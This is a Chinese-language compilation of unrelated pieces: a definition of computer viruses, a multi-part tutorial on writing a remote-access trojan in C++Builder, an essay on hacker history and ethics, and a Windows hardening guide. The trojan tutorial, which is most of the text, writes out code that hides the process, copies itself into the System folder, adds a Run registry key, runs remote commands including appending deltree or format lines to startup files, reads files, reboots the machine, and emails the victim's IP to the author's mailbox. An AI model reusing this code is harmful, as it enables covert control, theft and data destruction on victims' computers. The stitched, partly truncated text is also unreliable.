同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

黑客的定义?!什么是黑客?

何谓“黑客”

黑客是英文“HACKER”的音译。动词原形为“HACK”,意为“劈”、“砍”。英文词典是这样解释黑客行为:未经授权进入一个计算机的存储系统,如数据库。中文译成“黑客”贬义比英文原义似乎略重,有“未经允许”等不合法的含义。另一种说法是,HACK是本世纪早期麻省理工学院俚语,有“恶作剧”之意,尤其指手法巧妙,技术高明的恶作剧,并且带有反既有体制的色彩。

四代黑客铸就了网络

有人说,美国人创造了黑客,如同他们创造了牛仔。

本世纪60至70年代,一群大学计算机系教室里的知识分子利用“分时系统”技术把计算机主机变成了事实上的个人计算机,从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事,它意味着对电脑的全身心的投入,虽然可能被外人视为疯狂之举。

70年代后期,第二代黑客领头人是大名鼎鼎的史蒂夫。乔布斯、史蒂夫、伍兹尼亚克和费尔森斯坦,发明并产生了个人计算机。他们都是非学术界的,属铁杆反文化的类型。作为坚定的反文化分子,他们使计算机王国的老大IBM颜面尽失。

80年代初出现的第三代黑客,为个人计算机设计了各种应用教育和娱乐程序。特别是米彻·凯普发明的LOTUS11-2-3电子报表程序促成了IBMPC的成功。

第四代黑客出现在80年代中期。他们发明了包罗万象的电子公告牌(BBS)和自由平等的以非层级方式连接的USENET,并且将美国国防部的阿帕网(ARPANET)改造成了今天的互联网络。

黑客的“道德准则”

互联网现在有上千万用户,平均年龄为30岁。很多人深信,就像个人计算机改变了80年代一样,互联网将改变90年代。

“想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。”这是黑客的宣言,并且广告天下,他们声称:不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。不在家庭电话中谈论你HACK的任何事情。当你发送相关信息的BBS时,对你当前所做的黑事尽可能说得含糊一些,以避免BBS受到警告。将你的黑客资料放在安全的地方。在BBS上POST文章的时候不要使用真名和真实的电话号码。如果你黑了某个系统,绝对不要留下任何蛛丝马迹。

显然,一些所谓的道德准则是需要打上一个引号的。但也确实有一些是较为人称道的。如:不要侵入或破坏政府机关的主机;不恶意破坏任何系统;不破化别人的软件或资料……

一切信息都应该是免费的

“一切信息都应该是免费的”。黑客们也有自己的伦理原则。他们深信,任何一个人都能在计算机上创造艺术与美,计算机能够使生活变得更美好。

黑客最重要的信条是不相信权威当局,提倡依*自己。他们把美国已故肯尼迪的话,“不要问你的国家能为你做些什么,要问你能为国家做些什么”改成了“不要问你的国家能为你做些什么,你自己做”。因此,他们中大多数人一改过去学术界蔑视商界的传统,半途辍学支办自己的公司。他们认为信息应该是免费的信息创造了“免费软件”和“共享软件”的概念,使得每个需要这些软件的人都可以得到它们。

坚持“三项基本原则”

国外《PHRACK》杂志被认为是黑客的“官方”新闻通讯,它把黑客的思想扩展成一些基本原则,被概括为一些基本原则。主要内容为“因为设备的高代价超出了大多数黑客的财力,它在感觉上造成的结果是,劈和砍是把计算机知识传给大众的唯一办法”。黑客们坚决反对“权利”只属于那些有权进入和使用现代技术的群体。

基于上述的分析来看,要认识黑客的确不是一件容易的事。不过我们似乎已经明白,黑客不应该总在贬义上被使用。而是应该记住雨果、康沃尔在《黑客手册》一书说的话:“黑客活动的乐趣和报偿纯粹是智力上的”,他们“不过沿袭了一个长期的历史传统,人类社会中,总有那么一批人对机器和技术着迷,他们使用技术时抱着一种嬉戏的态度,以观察会有什么结果发生”。

--------------------------------------------------------------------------------------------------------

目前,使用ADSL的用户越来越多,由于ADSL用户在线时间长、速度快,因此成为黑客们的攻击目标。现在网上出现了各种越来越详细的“IP地址库”,要知道一些ADSL用户的IP是非常容易的事情。要怎么保卫自己的网络安全呢?不妨看看以下方法。 如果你使用了Windows 2000/XP系统,右键单击C盘或者其他盘,选择"共享",你会惊奇地发现它已经被设置为“共享该文件夹”,而在“网上邻居”中却看不到这些内容,这是怎么回事呢?原来,在默认状态下,Windows 2000/XP会开启所有分区的隐藏共享,从“控制面板/管理工具/计算机管理”窗口下选择“系统工具/共享文件夹/共享”,就可以看到硬盘上的每个分区名后面都加了一个“$”。但是只要键入“\\计算机名或者IP\C$”,系统就会询问用户名和密码,遗憾的是,大多数个人用户系统Administrator的密码都为空,入侵者可以轻易看到C盘的内容,这就给网络安全带来了极大的隐患。 怎么来消除默认共享呢?方法很简单,打开注册表编辑器,进入“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Sevices\Lanmanworkstation\parameters”,新建一个名为“AutoShareWKs”的双字节值,并将其值设为“0”,然后重新启动电脑,这样共享就取消了。二、拒绝恶意代码恶意网页成了宽带的最大威胁之一。以前使用Modem,因为打开网页的速度慢,在完全打开前关闭恶意网页还有避免中招的可能性。现在宽带的速度这么快,所以很容易就被恶意网页攻击。一般恶意网页都是因为加入了用编写的恶意代码才有破坏力的。这些恶意代码就相当于一些小程序,只要打开该网页就会被运行。所以要避免恶意网页的攻击只要禁止这些恶意代码的运行就可以了。运行IE浏览器,点击“工具/Internet选项/安全/自定义级别”,将安全级别定义为“安全级-高”,对“ActiveX控件和插件”中第2、3项设置为“禁用”,其它项设置为“提示”,之后点击“确定”。这样设置后,当你使用IE浏览网页时,就能有效避免恶意网页中恶意代码的攻击。三、封死黑客的“后门”俗话说“无风不起浪”,既然黑客能进入,那说明系统一定存在为他们打开的“后门”,只要堵死这个后门,让黑客无处下手,便无后顾之忧!1.删掉不必要的协议对于服务器和主机来说,一般只安装TCP/IP协议就够了。鼠标右击“网络邻居”,选择“属性”,再鼠标右击“本地连接”,选择“属性”,卸载不必要的协议。其中NETBIOS是很多安全缺陷的根源,对于不需要提供文件和打印共享的主机,还可以将绑定在TCP/IP协议的NETBIOS关闭,避免针对NETBIOS的攻击。选择“TCP/IP协议/属性/高级”,进入“高级TCP/IP设置”对话框,选择“WINS”标签,勾选“禁用TCP/IP上的NETBIOS”一项,关闭NETBIOS。2.关闭“文件和打印共享”文件和打印共享应该是一个非常有用的功能,但在不需要它的时候,也是黑客入侵的很好的安全漏洞。所以在没有必要“文件和打印共享”的情况下,我们可以将它关闭。用鼠标右击“网络邻居”,选择“属性”,然后单击“文件和打印共享”按钮,将弹出的“文件和打印共享”对话框中的两个复选框中的钩去掉即可。虽然“文件和打印共享”关闭了,但是还不能确保安全,还要修改注册表,禁止它人更改“文件和打印共享”。打开注册表编辑器,选择“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NetWork”主键,在该主键下新建DWORD类型的键值,键值名为“NoFileSharingControl”,键值设为“1”表示禁止这项功能,从而达到禁止更改“文件和打印共享”的目的;键值为“0”表示允许这项功能。这样在“网络邻居”的“属性”对话框中“文件和打印共享”就不复存在了。3.把Guest账号禁用有很多入侵都是通过这个账号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具,那还是禁止的好。打开控制面板,双击“用户和密码”,单击“高级”选项卡,再单击“高级”按钮,弹出本地用户和组窗口。在Guest账号上面点击右键,选择属性,在“常规”页中选中“账户已停用”。另外,将Administrator账号改名可以防止黑客知道自己的管理员账号,这会在很大程度上保证计算机安全。 4.禁止建立空连接在默认的情况下,任何用户都可以通过空连接连上服务器,枚举账号并猜测密码。因此,我们必须禁止建立空连接。方法有以下两种:方法一是修改注册表:打开注册表“HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA”,将DWORD值“RestrictAnonymous”的键值改为“1”即可。最后建议大家给自己的系统打上补丁,微软那些没完没了的补丁还是很有用的!四、隐藏IP地址黑客经常利用一些网络探测技术来查看我们的主机信息,主要目的就是得到网络中主机的IP地址。IP地址在网络安全上是一个很重要的概念,如果攻击者知道了你的IP地址,等于为他的攻击准备好了目标,他可以向这个IP发动各种进攻,如DoS(拒绝服务)攻击、Floop溢出攻击等。隐藏IP地址的主要方法是使用代理服务器。与直接连接到Internet相比,使用代理服务器能保护上网用户的IP地址,从而保障上网安全。代理服务器的原理是在客户机(用户上网的计算机)和远程服务器(如用户想访问远端WWW服务器)之间架设一个“中转站”,当客户机向远程服务器提出服务要求后,代理服务器首先截取用户的请求,然后代理服务器将服务请求转交远程服务器,从而实现客户机和远程服务器之间的联系。很显然,使用代理服务器后,其它用户只能探测到代理服务器的IP地址而不是用户的IP地址,这就实现了隐藏用户IP地址的目的,保障了用户上网安全。提供免费代理服务器的网站有很多,你也可以自己用代理猎手等工具来查找。五、关闭不必要的端口黑客在入侵时常常会扫描你的计算机端口,如果安装了端口监视程序(比如Netwatch),该监视程序则会有警告提示。如果遇到这种入侵,可用工具软件关闭用不到的端口,比如,用“Norton Internet Security”关闭用来提供网页服务的80和443端口,其他一些不常用的端口也可关闭。六、更换管理员帐户Administrator帐户拥有最高的系统权限,一旦该帐户被人利用,后果不堪设想。黑客入侵的常用手段之一就是试图获得Administrator帐户的密码,所以我们要重新配置Administrator帐号。首先是为Administrator帐户设置一个强大复杂的密码,然后我们重命名Administrator帐户,再创建一个没有管理员权限的Administrator帐户欺骗入侵者。这样一来,入侵者就很难搞清哪个帐户真正拥有管理员权限,也就在一定程度上减少了危险性。七、杜绝Guest帐户的入侵Guest帐户即所谓的来宾帐户,它可以访问计算机,但受到限制。不幸的是,Guest也为黑客入侵打开了方便之门!网上有很多文章中都介绍过如何利用Guest用户得到管理员权限的方法,所以要杜绝基于Guest帐户的系统入侵。禁用或彻底删除Guest帐户是最好的办法,但在某些必须使用到Guest帐户的情况下,就需要通过其它途径来做好防御工作了。首先要给Guest设一个强壮的密码,然后详细设置Guest帐户对物理路径的访问权限。举例来说,如果你要防止Guest用户可以访问tool文件夹,可以右击该文件夹,在弹出菜单中选择“安全”标签,从中可看到可以访问此文件夹的所有用户。删除管理员之外的所有用户即可。或者在权限中为相应的用户设定权限,比方说只能“列出文件夹目录”和“读取”等,这样就安全多了。八、安装必要的安全软件我们还应在电脑中安装并使用必要的防黑软件,杀毒软件和防火墙都是必备的。在上网时打开它们,这样即便有黑客进攻我们的安全也是有保证的。九、防范木马程序木马程序会窃取所植入电脑中的有用信息,因此我们也要防止被黑客植入木马程序,常用的办法有:● 在下载文件时先放到自己新建的文件夹里,再用杀毒软件来检测,起到提前预防的作用。● 在“开始”→“程序”→“启动”或“开始”→“程序”→“Startup”选项里看是否有不明的运行项目,如果有,删除即可。● 将注册表里 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下的所有以“Run”为前缀的可疑程序全部删除即可。十、不要回陌生人的邮件有些黑客可能会冒充某些正规网站的名义,然后编个冠冕堂皇的理由寄一封信给你要求你输入上网的用户名称与密码,如果按下“确定”,你的帐号和密码就进了黑客的邮箱。所以不要随便回陌生人的邮件,即使他说得再动听再诱人也不上当。做好IE的安全设置ActiveX控件和 Applets有较强的功能,但也存在被人利用的隐患,网页中的恶意代码往往就是利用这些控件编写的小程序,只要打开网页就会被运行。所以要避免恶意网页的攻击只有禁止这些恶意代码的运行。IE对此提供了多种选择,具体设置步骤是:“工具”→“Internet选项”→“安全”→“自定义级别”,建议您将ActiveX控件与相关选项禁用。谨慎些总没有错!另外,在IE的安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过,微软在这里隐藏了“我的电脑”的安全性设定,通过修改注册表把该选项打开,可以使我们在对待ActiveX控件和 